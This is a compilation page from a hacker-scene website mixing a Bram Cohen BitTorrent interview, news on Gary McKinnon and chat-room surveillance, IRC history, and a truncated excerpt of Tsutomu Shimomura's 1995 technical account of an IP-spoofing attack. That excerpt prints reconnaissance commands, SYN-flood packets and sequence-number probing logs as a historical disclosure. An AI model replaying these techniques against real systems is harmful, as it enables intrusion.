.:Nexus23.net:.


Rococo Ne(xus23)ws  


Last News from the Empire

I read "somewhere" : No News is Good news

and it's true

§ § § § § § § § § § §

Fish for Mirc

Rumblefish is a.i.(a BhaaL's production)

You can reach a.i. to Quakenet #nexus23




Pentagon Conqueror

Snort Purchased

Titan Rain

Kurtlar Vadisi Irak

Cerberus : The Hidden Empire of the Underworld

BBC : Gary Mckinnon profile

BBC : A Hacker for Guantanamo

BBC Interview with Gary McKinnon

Hugh Everett

Multiverse Theory in a shit page :-)

How many experimentation with nuclear weapons?

Hacking is legal and digital property...

BBS sTYLE

Crypto-GRAM by Bruce Schneier

Crypto-GRAM plus by Bruce Schneier

AT&T Sued for Opening Network to NSA: ahah!

AT&T Daitona InUSE

HELLADS

the B34ST ?!



+++++++++++
Date: Thu, 11 Sep 2003 14:41:48 -0700 (PDT) From: "Bram Cohen" To: "Nexus23 Corp."

Subject: Re: Interview

Here are my answers, with a bit of guesswork as to what you meant in some questions.

1) Did you think BT would become so successfull, so quickly when you were first creating it?

Sure, when I put my mind to it I can be a megalomaniac.

2) So cool. Do you think that now the US laws might do the difference and Riaa could get more aggressive than currently , spreading the fight out of the United States ?

I don't know. They certainly seem to think they rightfully own the world.

3) BT is not a conventional P2P network , so i would ask you : this is an esteem or a defect , closing an eye and opening another on the uploads( coz there are bt clients which deny the upload speed) and closing both about the trackers(coz there is a tracker per any bt file)

People have asked for backup tracker functionality, but since trackers tend to go down permanently rather than transiently that wouldn't really improve robustness much.

4) Now that people have made customised versions of your basic idea, how do you feel about the versions that allow people to download without uploading that much?]

The tit-for-tat features of the peering protocol do a good job of discouraging leeching. There are plenty of good reasons to cap upload rates, so I don't mind it at all. In general, it's best to cap your upload rate at slightly less than your actual upload capacity, so that BitTorrent doesn't interfere with your web browsing.

Capping your upload rate at or near zero is both unpleasant and stupid, since it saves you no money and usually hurts download rates.

By the way, upload rate capping is present mostly in clients which are based off the mainline version. I wrote capping but haven't added it to the interface yet, because mainline puts a premium on simplicity of interface.

5)What about the "Direct Source" like law problem , you know... having a tracker in those files shared ...this p2p became outlawed, almost to the extent of a cyber drug...

BitTorrent is completely agnostic as to what kinds of files it distributes (and boy, is there a diversity of them in practice) so banning it would be rather like banning http. Of course, there are plenty of people who would love to ban http.

6) I am a dial-up user. I DID use BT but dont any more, The speeds are pretty fantastic but when i have to resume a file i can sometimes have problems with space on my drive in order to download huge files like movies because of the space allocation method of BT combined with ping time out problems (which seem only to be a problem for dial-up users) ,by resuming files i can feel the pain in my hard disk .I checked it in any BT client , same results . BT seems not studied for a dial-up user , which gets many p.t.o.(ping time out) , aren't you right about it ?

BitTorrent's allocation and file resume behavior has been completely rewritten since the most recent release. It now starts with a small file and gradually increases the size until the whole thing is downloaded, and on resume it only scans the amount that it's already downloaded. The new code also doesn't fragment the hard drive, which was a big problem before.

A new release with this functionality will be out very soon.

BitTorrent's tracker requests are flaky because the http client library I'm using (Python's built in httplib) is a piece of crap which throws internal assertion failures and doesn't support timeouts. I hope to swap it out with a well-written one at some point in the future, but supporting http isn't the simple task it once was, thanks to the folks at the w3c.

I haven't tried BitTorrent much over dial-up lines, mostly because the files distributed using BitTorrent are generally so big that you wouldn't want to download them over dial-up anyway.

The latencies on a dial-up line interfere with BitTorrent's transfer rate algorithms quite a lot. That should be improved considerably in the release after this upcoming one.

7) Could you tell us about any future developements for BT? or are you working on something completely different now ;) ??

Right now I'm working on polishing up a release, since there have been quite a few major performance enhancements and bug fixes since then, as well as the new allocation and resume behavior I already mentioned.

After that (actually already in progress as a fork) there's going to be a major rewrite to support downloading and serving multiple things using the same port as well as much better transfer rate estimation and rate capping with a total amount across files.

After that, I'm not sure. There are still basic performance enhancements which could be done, like writing or finding an asynchronous http client, but it appears that all the significant performance artifacts are now fixed. Perhaps then more features will get added to the mainline client.

8) How has the success of BT changed your life?

I've managed to go a few years without having a day job.


-Bram Cohen






Dot-Mil Hacker's Download Mistake-
By Brian McWilliams
02:00 AM Nov. 15, 2002 PT
Gary McKinnon, the Briton indicted this week for hacking into scores of U.S. military computers, left behind few clues on the compromised systems of his victims. But download log files from a Wisconsin software firm may have led investigators straight to his London door.
In an apparent effort to avoid detection, McKinnon, 36, installed copies of a commercial remote-access utility called RemotelyAnywhere on Navy and other military systems he allegedly hacked last year. The unusual strategy almost worked. Unlike underground "backdoor" utilities like NetBus or Back Orifice, the popular RemotelyAnywhere program doesn't trigger antivirus software. For nearly a year, McKinnon was able to control a vast network of defense computers without detection, authorities said.But McKinnon's choice of RemotelyAnywhere ultimately may have been his undoing.Using a personal computer connected to an ISP in England, McKinnon downloaded a trial copy of RemotelyAnywhere in March 2001 from a server maintained by Binary Research, the Milwaukee-based distributor of RemotelyAnywhere. To obtain a special code to unlock the demonstration software, McKinnon also provided his girlfriend's e-mail address, Binary officials said.The Internet protocol address left in Binary's server log files from McKinnon's download, along with the e-mail address, gave investigators two "very critical" pieces of evidence, said Binary vice president Jim Szopinski."Not only were his finger prints on military computers, they were on ours as well," said Szopinski, who also noted in an affidavit that the version of RemotelyAnywhere McKinnon downloaded matched the one installed on the hacked military systems.This week McKinnon, an unemployed system administrator, was indicted in federal courts in Virginia (PDF) and New Jersey on eight counts of computer crimes.New Jersey Assistant U.S. Attorney Scott Christie said he was unable to comment on the evidence that led investigators to McKinnon, citing grand-jury restrictions.Szopinski said McKinnon likely obtained a "crack" or illegal license key to unlock copies of RemotelyAnywhere and place them on numerous computers. Once installed on a Windows system, RemotelyAnywhere allows remote users to access files and control a computer through a Web browser.Although investigators said the indicted hacker used the nickname "Solo" when online, according to Christie there was "no evidence" to show that he was the same hacker who took credit for defacing several high-profile sites in the late 1990s, including an Air Force site.Chris McNab, a security analyst who uses the online handle "So1o" and is currently technical director for Matta Security, a London-based consulting firm, said in a telephone interview that he was not aware someone else was using his nickname until McKinnon's indictment.
"This guy is able to use whatever alias he wants. But the fun and games I used to have under that handle was almost four years ago," said McNab.Authorities are seeking the extradition of McKinnon, who is not currently in police custody, Christie said. McKinnon faces on each count a maximum sentence of 10 years in prison and a $250,000 fine.
Szopinski said U.K. authorities told him that McKinnon did not appear to be linked to terrorists. Instead, investigators characterized the hacker as "a conspiracy theorist" who "seemed to think that the government was controlling all sorts of things," Szopinski said.



US Hackers at the Service of the Nation! But Who is the Enemy?

by divineshadow (Fabio Ghioni) www.zone.horg
05/24/2005

It has recently been revealed by the North American media that the US Army has a contingent of Elite Hackers at the service of the Nation. This special contingent is apparently capable of penetrating every type of system as well as propagating computer viruses and worms in order to strike antagonist IT structures.
At first sight all seems well and even seems logical that the country that gave birth to the Internet and the Computer Era has such a strong and sophisticated structure to fight off cyber warfare. But is it really that logical?
Let’s take a look at some of the obvious factors of war and fighting between opposing factions: firstly the “equipment”, the “competences” and the “methodologies” developed in the course of history, have always been linked to the specific vulnerabilities of the enemy and have been oriented to maximizing the damage by minimizing the operational capabilities and/or reducing the enemy to impotence.
The objectives have always been human beings and the structures built by the latter. The so called Mechanical war, in other words large armies that slaughter one another, is what underlay the majority of the conflicts throughout mankind’s history.
Mechanical war has always co-existed with the so called dirty warfare, in other words, that kind of conflict that is not declared, that is fought by irregular armies, asymmetric and characterized by the use of non-conventional arms and methodologies. Resistance wars, terrorism and civil wars can be classified as dirty warfare.
WWII saw the birth of systemic warfare that was then fine tuned and developed by the US and USSR. This kind of conflict entails a vast spending capability and includes those things that today only the US can make use of: intelligent bombs, satellite networks robotized and networked armies, the capability to surgically hit objectives thousands of kilometres away, etc..
Systemic warfare is the rich evolution of mechanical warfare with which it shares the objectives but, in comparison, sacrifices less human lives and more money.
The last twenty years have seen the birth of a new type of conflict: “ICT warfare”, where ICT stands for Information & Communication Technology. The objectives of ICT warfare are the structures governed by IT networks and computers that manage the critical infrastructures that are vital to a nation’s economy and stability. ICT warfare has always been, since its birth, the evolution of dirty warfare, seeing that, in order to fight, it is only necessary to have a computer hooked onto the Net and it is asymmetric in so far that the opponents do not coincide with entities defined by geographical or political boundaries.
The only real prerequisite for this type of conflict is that the nation’s critical infrastructures and economy are connected to the Net and computer dependent. The same methodologies used to fight this type of warfare can be used for effective, invisible or non traceable intelligence operations.
Today which are the countries that are vulnerable to this type of conflict? All the nations of the Western Block! USA, Europe, Japan and the majority of the NATO member States.
China was the first to introduce the concept of ICT warfare with a publication called “War Without Frontiers”, that was later made public by the CIA. It is said that North Korea is training a faction of its army to fight in cyberspace. In his manifest “Al-Jihad Al-Electroni”, Osama Bin Laden exhorted his patriots to form cells that would attack the infidels through the Internet!
It is spontaneous to wonder: why has the USA secretly developed this capability?
Apart from the fact that it is probably not so difficult for the Nation that controls all the technologies (and all the companies that produce it) that constitute the Internet today, to have access to vulnerabilities (ad hoc and not) and hidden functions and to instruments that can automatically take advantage of the latter. In view of the background, it must still be understood which enemy can be fought by a contingent of Elite Hackers. The countries of the Western Block? But they are friends! Can they not be trusted entirely? Is it necessary to spy on one’s friends because “you never know”? Or, as is the case for the famous global interception network called Echelon, this contingent is also at the service of the US’s economic interests and in times of peace, its objectives are the same intrusive methodologies that are used for industrial espionage…
Since this contingent boasts its ability to “break out” viruses and worms on the Net, are we certain that they haven’t already done so? Even if only for the sake of testing!
The only certainty is that the US’s known enemies are not vulnerable in the cyberspace. Consider that before the start of the second Gulf conflict, the Iraqi’s institutional servers were hosted by Syrian providers. Therefore, what are the real objectives of this initiative?
divineshadow (Fabio Ghioni) www.zone-h.org Board Member
Original article: http://www.zone-h.org

Security officials to spy on chat rooms
Published: November 24, 2004, 10:28 AM PST
By Declan McCullagh
Staff Writer, CNET News.com

The CIA is quietly funding federal research into surveillance of Internet chat rooms
as part of an effort to identify possible terrorists, newly released documents reveal.

In April 2003, the CIA agreed to fund a series of research projects
that the documents indicate were intended to create "new capabilities to combat terrorism through advanced technology." One of those projects is research at the Rensselaer Polytechnic Institute in Troy, N.Y., devoted to automated monitoring and profiling of the behavior of chat-room users.
Listening in
The CIA has been working behind the scenes for a number of months to help develop technology for monitoring chat on the Internet.
A real-world test starts with the New Year.

• November 2002: Invitation-only workshop convened
by CIA and NSF on antiterrorism research.

• April 2003: CIA and NSF sign "memorandum of understanding"
to fund technology research.

• June 2004: Deadline for submitting research proposals to NSF.

• July 2004: CIA and NSF review nearly 250 research proposals.

• January 2005: Scheduled start date of chat room monitoring project at Rensselaer Polytechnic.

Even though the money ostensibly comes from the National Science Foundation, CIA officials were involved in selecting recipients for the research grants, according to a contract between the two agencies obtained by the Electronic Privacy Information Center (EPIC) and reviewed by CNET News.com.

NSF program director Leland Jameson said Wednesday the two-year agreement probably will not be renewed for the 2005 fiscal year. "Probably we won't be working with the CIA anymore at all," Jameson said. "I think that people have moved on to other things."

The NSF grant for chat-room surveillance was reported earlier this year, but without disclosure of the CIA's role in the project. The NSF-CIA memorandum of understanding says that while the Sept. 11, 2001 attacks and the fight against terrorism presented U.S. spy agencies with surveillance challenges, existing spy "capabilities can be significantly enhanced with advanced technology."

EPIC director Marc Rotenberg, whose nonprofit group obtained the documents through the Freedom of Information Act, said the CIA's clandestine involvement was worrisome. "The intelligence community is changing the priorities of scientific research in the U.S.," Rotenberg said. "You have to be careful that the National Science Foundation doesn't become the National Spy Foundation."
"The proposed system could aid the intelligence community to discover hidden communities and communication patterns in chat rooms without human intervention."
--Rensselaer Polytechnic Institute research proposal

A CIA representative would not answer questions, saying the agency's policy is never to talk about funding. The two Rensselaer Polytechnic Institute researchers involved, Bulent Yener and Mukkai Krishnamoorthy, did not respond to interview requests.

Their proposal, also disclosed under the Freedom of Information Act, received $157,673 from the CIA and NSF. It says: "We propose a system to be deployed in the background of any chat room as a silent listener for eavesdropping...The proposed system could aid the intelligence community to discover hidden communities and communication patterns in chat rooms without human intervention."

Yener and Krishnamoorthy, both associate professors of computer science, wrote that their research would involve writing a program for "silently listening" to an Internet Relay Chat (IRC) channel and "logging all the messages." One of the oldest and most popular methods for chatting online, IRC attracts hundreds of thousands of users every day. A history written by IRC creator Jarkko Oikarinen said the concept grew out of chat technology for modem-based bulletin boards in the 1980s.

The Yener and Krishnamoorthy proposal says their research will begin Jan. 1, 2005 but does not say which IRC servers will be monitored.

A June 2004 paper they published, also funded by the NSF, described a project that quietly monitored users of the popular Undernet network, which has about 144,000 users and 50,000 channels. In the paper, Yener and Krishnamoorthy predicted their work "could aid (the) intelligence community to eavesdrop in chat rooms, profile chatters and identify hidden groups of chatters in a cost-effective way" and that their future research will focus on identifying "topic-based information."

Al Teich, director of science and policy programs at the American Association for the Advancement of Science, said he does not object to the CIA funding terrorism-related research in general.

"I don't know about chat-room surveillance, but doing research on issues related to terrorism is certainly legitimate," Teich said. "Whether the CIA ought to be funding research in universities in a clandestine manner is a different issue."


++++++++++++



IRC History by Jarkko Oikarinen

I don't know if this helps much. I hope I remember things correctly and apologise people whom I have left out and they had deserved to be in here.

I was working in the Department of Information Processing Science in University of Oulu during summer'88. I guess they didn't have much for me to do. I was administring the department's sun server, but it didn't take all time. So I started doing a communications program, which was meant to make OuluBox (a Public Access BBS running on host tolsun.oulu.fi, administered by me) a little more usable. The purpose was to allow USENET News-kind of discussion and groups there in addition to real time discussions and other BBS related stuff. Jyrki Kuoppala (jkp@cs.hut.fi) had implemented rmsg program for sending messages to people on other machines. It didn't have the channel concept implemented (though it supported it), so it was mainly used for person-to-person communications.

Another already existing simple multiuser chat program on OuluBox was MUT (MultiUser Talk), it was written by Jukka Pihl (pihl@rieska.oulu.fi). That program has a bad habit of not working properly, so in order to fix this, the first implemented thing of this BBS plan was IRC. The birthday of IRC was in August 1988. The exact date is unknown, at the end of the month anyways.

Bitnet Relay Chat was a good inspiration for IRC. When IRC started occasionally having more than 10 users, I asked some friends of mine to start running irc servers in south Finland, mainly in Tampere University of Technology and Helsinki University of Technology. Some other universities soon followed. Markku J{rvinen (mta@cc.tut.fi) improved the irc client (there was only one at that time) to support some emacs editing commands. At that time it was obvious that adding BBS like functions to the program was not a good idea, it's better to have one program for one purpose. So the BBS extension idea was given up and just IRC stayed.

IRC was well spread in Finland. I contacted some friends of mine through BITNET Relay and asked if they would try this program. Internet connections did not yet work from Finland to other countries, so they could not connect to the Finnish network (which I suppose was the reason for them not being very enthusiastic about irc). Internet connections to states started working (I don't anymore remember when). I answered to some news articles where people asked for multiuser chat programs. I didn't get replies.

At mit, there was the legendary ai.ai.mit.edu machine running ITS. I got an account there and learned to use it a little bit. Enough to know how to chat with people. From there I got the first IRC user outside Scandinavia, Mike Jacobs used IRC through OuluBox (he did not have account on any Unix machines).

Through ai.ai.mit.edu I got to know Vijay Subramaniam (I hope I spelled that correctly :-). I had given IRC to him and not heard of him for some time. Then I got mail messages from Jeff Trim (used to be jtrim@orion.cair.du.edu, University of Denver, current address unknown) David Bleckmann (bleckmd@jacobs.cs.orst.edu) and Todd Ferguson (melvin@jacobs.cs.orst.edu, Oregon State University). Vijay had given IRC to them and they had started ircd on their machines (orion.cair.du.edu and jacobcs.cs.orst.edu, if I remember correctly) and wanted to connect to Finnish irc network. After that some other people started running IRC, and the number of servers grew quickly. The first IRC server (and still running) was tolsun.oulu.fi ..

Jarkko Oikarinen

+++++



NSF Award Abstract - #0442154
Surveillance, Analysis and Modeling of Chatroom Communities

NSF Org DMS
Latest Amendment Date September 7, 2004
Award Number 0442154
Award Instrument Standard Grant
Program Manager Hans G. Kaper
DMS Division of Mathematical Sciences
MPS Directorate for Mathematical & Physical Sciences
Start Date January 1, 2005
Expires December 31, 2005 (Estimated)
Awarded Amount to Date $157673
Investigator(s) Bulent Yener yener@cs.rpi.edu (Principal Investigator)
Mukkai Krishnamoorthy (Co-Principal Investigator)
Sponsor Rensselaer Polytechnic Institute
110 8th Street
Troy, NY 12180 518/276-6000
NSF Program(s) APPROACHES TO COMBAT TERRORISM,
OFFICE OF MULTIDISCIPLINARY AC
Field Application(s) 0000099 Other Applications NEC
Program Reference Code(s) OTHR,9237,7276,0000
Program Element Code(s) V596,7276,1253
Abstract

The aim of this proposal is to develop new techniques for information gathering, analysis and modeling of chatroom communications. First, the investigator and his colleague consider graph-less models to capture the structure of chatroom communications. In particular, the investigators study how to develop a multidimensional singular value decomposition approach for component analysis of chatroom communication data. Second, the investigators develop new visualisation techniques to display the structural information found in the first step. Internet chatrooms provide an interactive and public forum of communication for participants with diverse objectives. Two properties of chatrooms make them particularly vulnerable for exploitation by malicious parties. First, the real identities of the participants are decoupled from their chatroom nicknames. Second, multiple threads of communication can co-exist concurrently. Although human-monitoring of each chatroom to determine "who-is-chatting-with-whom" is possible, it is very time consuming, hence not scalable. Thus, it is very easy to conceal malicious behavior in Internet chatrooms and use them for covert communications (e.g., adversary using a teenager chatroom to plan a terrorist act). This project aims at a fully automated surveillance system for data collection and analysis in Internet chatrooms to discover hidden groups. The surveillance is done in the form of statistical profiling for a particular chatter, a group of chatters, or for the entire chatroom. The statistical profiles are used to devise algorithms to determine chatters and their partners and answer to queries including (i) "in which chatrooms topic A is discussed", (ii) "who is chatting about topic A in chatroom X", (iii) "is topic A is a hot one in chatroom X" etc. Thus, the proposed system could aid the intelligence community to discover hidden communities and communication patterns in chatrooms without human intervention. This award is supported jointly by the NSF and the Intelligence Community. The Approaches to Terrorism program in the Directorate for Mathematics and Physical Sciences supports new concepts in basic research and workforce development with the potential to contribute to national security.

Please report errors in award information by writing to: award-abstracts-info@nsf.gov.
++++++++++++




Albert H. Teich, PhD
Director, Science & Policy Programs
American Association for the Advancement of Science
Area(s) of expertise: U.S. science policy; Congress; research competitiveness; more
Language(s) spoken: English
Contact Information:
202-326-6609
ateich@aaas.org
Home Page: www.aaas.org
More Information: www.aaas.org/spp

PIO Contact: Monica Amarelo
202-326-6431
mamarelo@aaas.org
American Association for the Advancement of Science

Albert H. Teich is director of Science & Policy Programs at AAAS, a position he has held since 1990. He is responsible for the Association's activities in science and technology policy and serves as its chief spokesman on science policy issues. Dr. Teich also serves as director of the AAAS Archives. Dr. Teich received a B.S. degree in physics and a Ph.D. in political science, both from M.I.T. Prior to joining the AAAS staff in 1980, he held positions at George Washington University, the State University of New York, and Syracuse University. He is the author of numerous articles and editor of several books, including Technology and the Future, a widely used textbook on technology and society, the eighth edition of which was published by Bedford/St. Martin's in August 1999. career can be found at www.alteich.com/al.



++++++++++++++++
Richard Clarke , ex-informatic security consultant of the White House :
gave up his rank after speaking of Internet
as a war of Gouvernements filled by spy operations outlaw .
Clarke spoke of China , Russia , United States , involved in this cyberwar .

+++++

IN DEPTH: COMMERCIAL REAL ESTATE
From the October 8, 2004 print edition
More NSA deals mean more need for secure real estate
Robert J. Terry
Contributing Writer

The scene in Annapolis Junction, Md., on Sept. 27 might have seemed surreal without the knowledge that the National Security Agency was involved.

A ribbon-cutting ceremony was held, not to unveil a new residential development or corporate headquarters but to inaugurate a warehouse and adjoining room with white walls and a white-tiled floor.

The occasion spurred such pomp more for what wasn't seen: Soundproof walls, special access controls and secure communications systems, hallmarks of a special class of office space used by technology companies helping protect some of the nation's most sensitive secrets.

Essex, one of the region's growing number of defense contractors, is using the 51,000 square feet to expand a systems integration contract it was awarded late last year by NSA, the secretive signals intelligence agency in Fort Meade, Md.

About 170 Essex employees and subcontractors will work at the site, a few miles from Essex's Columbia headquarters.

The publicly held company could not have landed the expanded contract if it had not able to find highly secure office space for sensitive communications.

Like similar contractors, Essex needed a SCIF -- a "secured, compartmentalized information facility."

Essex CEO Len Moodispaw calls the opening of its new SCIF a "major milestone" in the expansion of the company and the services it is able to provide.

Continued availability of SCIF space will factor in the region's ability to tap the NSA as a valued customer and bolster Maryland's high-tech sector at a time when the agency is increasingly looking outside its Fort Meade gates for help in sending and intercepting intelligence.

Economic development officials and commercial real estate brokers say developers are meeting demand with new SCIF space. Anne Arundel County Economic Development Corp. CEO Bill Badger says two projects alone in his county could create up to 500,000 square feet of SCIF space.

"Post 9/11, SCIF is back with a vengeance," says Dennis Lane, vice president of Ryan Commercial Real Estate Services, which represented the owners of the building Essex had retrofitted to meet its security needs.

Fueled by increased homeland security spending and internal growth, the NSA is moving contractors out of Fort Meade and into the commercial marketplace.
Click Here

Maryland government officials studied the availability of SCIF space with an eye toward crafting policy to address a shortage, if one existed, but believe the private sector is picking up the slack.

A bigger obstacle for small companies angling to land NSA business is getting their employees through the agency's rigorous and lengthy security clearance process, economic development officials say.

Johnny Flores, director of operations for Catonsville, Md.-based TechGuard Security, says his company is in the final stages of wrapping up its clearances.

After that, the availability of SCIF space will become a concern for his young company as it rolls out a new firewall technology.

"It's very difficult to find SCIF space," Flores says. "What's out there is more legacy. You have to spend funds to bring it up to standard."

Essex will not say what it spent on its Annapolis Junction space. But the spare trappings generated excitement among the hundreds of elected officials, NSA staffers and company employees witnessing the ribbon cutting -- with photographs confined to certain areas, if not banned outright.

"Defense contractors don't like windows," says Ryan Commercial's Lane. "They like nice, secure spaces."

Harry D. Gatanas, the NSA's senior acquisition executive and a key industry contact, said during the Sept. 27 ceremony at Essex's new building that the company and others like it have the "talent and agility" to help the agency quickly execute new projects as it seeks to monitor terrorist organizations and other enemies abroad.

The NSA spent $2 billion with Maryland contractors in 2003 and expects that number to grow.

Robert Terry is a staff reporter for Baltimore Business Journal. E-mail: rterry@bizjournals.com

+++++


Random Access - Sunday, October 12, 1997

Tsutomu Shimomura's newsgroup posting with technical details of the attack described by Markoff in NYT

Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security
From: Tsutomu Shimomura
Subject: Technical details of the attack described by Markoff in NYT
Precedence: bulk
Keywords: IP spoofing, security, session hijacking
Lines: 288
Sender: firewalls-owner@GreatCircle.COM
Cc: firewalls@GreatCircle.COM
Organization: San Diego Supercomputer Center
Date: Wed, 25 Jan 1995 12:36:45 GMT

Greetings from Lake Tahoe.

There seems to be a lot of confusion about the IP address spoofing and
connection hijacking attacks described by John Markoff's 1/23/95 NYT article,
and CERT advisory CA-95:01.

Here are some technical details from my presentation on 1/11/95 at CMAD 3
in Sonoma, California. Hopefully this will help clear up any misunderstandings
as to the nature of these attacks.

Two different attack mechanisms were used. IP source address spoofing
and TCP sequence number prediction were used to gain initial access to a
diskless workstation being used mostly as an X terminal. After root access
had been obtained, an existing connection to another system was hijacked by
means of a loadable kernel STREAMS module.

Included in this note are excerpts from actual tcpdump packet logs generated
by this attack. In the interest of clarity (and brevity!), some of the data
has been omitted.

I highly recommend Steve Bellovin's paper and posts on IP spoofing, as he
describes in more detail the semantics of the TCP handshake, as well as making
some suggestions on how to defeat this attack.

My configuration is as follows:
server = a SPARCstation running Solaris 1 serving my "X terminal"
x-terminal = a diskless SPARCstation running Solaris 1
target = the apparent primary target of the attack

-----

The IP spoofing attack started at about 14:09:32 PST on 12/25/94. The first
probes were from toad.com (this info derived from packet logs):

14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal

The apparent purpose of these probes was to determine if there might be
some kind of trust relationship amongst these systems which could be exploited
with an IP spoofing attack. The source port numbers for the showmount and
rpcinfo indicate that the attacker is root on toad.com.

-----

About six minutes later, we see a flurry of TCP SYNs (initial connection
requests) from 130.92.6.97 to port 513 (login) on server. The purpose of
these SYNs is to fill the connection queue for port 513 on server with
"half-open" connections so it will not respond to any new connection
requests. In particular, it will not generate TCP RSTs in response to
unexpected SYN-ACKs.

As port 513 is also a "privileged" port (< IPPORT_RESERVED), server.login
can now be safely used as the putative source for an address spoofing
attack on the UNIX "r-services" (rsh, rlogin). 130.92.6.97 appears to be
a random (forged) unused address (one that will not generate any response
to packets sent to it):

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096
14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096
14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096
14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096
14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096
14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096
14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096
14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096
14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096
14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096
14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096
14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096
14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096
14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096
14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096
14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096
14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096
14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

server generated SYN-ACKs for the first eight SYN requests before the
connection queue filled up. server will periodically retransmit these
SYN-ACKs as there is nothing to ACK them.

-----

We now see 20 connection attempts from apollo.it.luc.edu to x-terminal.shell.
The purpose of these attempts is to determine the behavior of x-terminal's
TCP sequence number generator. Note that the initial sequence numbers
increment by one for each connection, indicating that the SYN packets are
*not* being generated by the system's TCP implementation. This results in
RSTs conveniently being generated in response to each unexpected SYN-ACK,
so the connection queue on x-terminal does not fill up:

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096
14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0
14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096
14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096
14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
